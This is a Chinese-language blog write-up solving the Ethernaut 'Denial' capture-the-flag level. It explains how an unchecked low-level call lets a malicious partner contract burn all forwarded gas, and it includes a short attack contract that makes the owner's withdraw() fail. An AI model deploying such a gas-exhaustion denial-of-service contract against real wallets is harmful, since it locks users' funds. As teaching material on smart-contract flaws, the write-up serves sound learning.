抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Denial

1. 题目要求

  • 1.1 这是一个简单的钱包,会随着时间的推移而流失资金。您可以成为提款伙伴,慢慢提款。

    通关条件: 在owner调用withdraw()时拒绝提取资金(合约仍有资金,并且交易的gas少于1M)

  • 1.2 题目要求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {

address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}

2. 分析

tips: 参考博客

  • 2.1这个函数做了什么:

    • 设置合约的余额amountToSend
    • partner通过低级别将余额的 1% 转移到call
    • 将余额的 1% 转入合约的ownerviatransfer
    • withdraw更新函数最后一次执行的时间
    • 更新合作伙伴提取的金额

    正如我们所说,这个挑战完全是关于拒绝服务 (DOS) 的概念,这是一个通用术语,用于描述外部参与者拒绝服务的某个方面的情况。在这种特定情况下,我们要否认withdraw合约的过程。

    我们该怎么做?call我们唯一的选择是在外部对地址做一些坏事partner。让我们看看底层call在 Solidity 中是如何工作的。

    1
    (bool success, bytes memory data) = targetAddress.call{value: <weiSent>, gas: <gasForwarded>}(<calldata>);

    正如我提到的,这是一个允许您做很多事情的低级函数。通常,它用于:

    • value通过在选项中指定 wei 的数量将 Ether 发送到 EAO
    • 通过在选项中指定 wei 的数量,将 Ether 发送到已实现receiveor函数的合约fallback``value
    • 通过将哪个函数和哪些参数传递给目标函数来调用合约函数<calldata>。例如,abi.encodeWithSignature("callMePlease()")

    虽然这两个transfer高级send函数(用于将 ETH 发送到目标地址)都使用2300 gas的硬编码量来执行操作,但该call函数有两个选项:

    • 默认情况下,如果您不指定任何内容,它将转发所有剩余的交易气体
    • gas否则,您可以指定外部合约可以使用参数的气体量

    call函数将返回两个参数:

    • bool success如果调用成功
    • bytes memory data返回值

    每次你执行一个call你应该总是检查它是否已经成功并恢复(或处理它但是你的场景需要)如果success值为假。有关此方面的更多信息,请参阅SWC-104:未经检查的调用返回值。

    无论如何,回到我们的场景。我们需要找到一种方法来在Denial withdraw函数向我们发送partner资金时对其进行 DoS。

    因为函数没有检查返回值(一般来说,这是一个巨大的错误,请参阅 SWC-104 问题)即使我们在调用执行中恢复withdraw,函数的流程也会继续。我们如何强制停止执行?

    我们唯一的选择是排出所有转发的气体,并由于“气体不足”异常而使智能合约恢复。

    一种简单的方法是使用无限循环对状态变量执行计数器增加

  • 参考视频 写的攻击合约:

1
2
3
4
5
6
7
8
9
10
11
contract Hack {
constructor(Denial target) {
target.setWithdrawPartner(address(this));
}

fallback() external payable {
assembly {
invalid()
}
}
}

3. 解题

  • 3.1 获取关卡实例地址:0xa22A605788d9828cb51eAd6AA5d5549cb40Da5F0
  • 3.2 将实力地址作为参数,用以部署攻击合约
  • image-20230225161557386
  • 3.3 提交案例
  • image-20230225161638630
  • 3.4 成功!!!!

评论



政策 · 统计 | 本站使用 Volantis 主题设计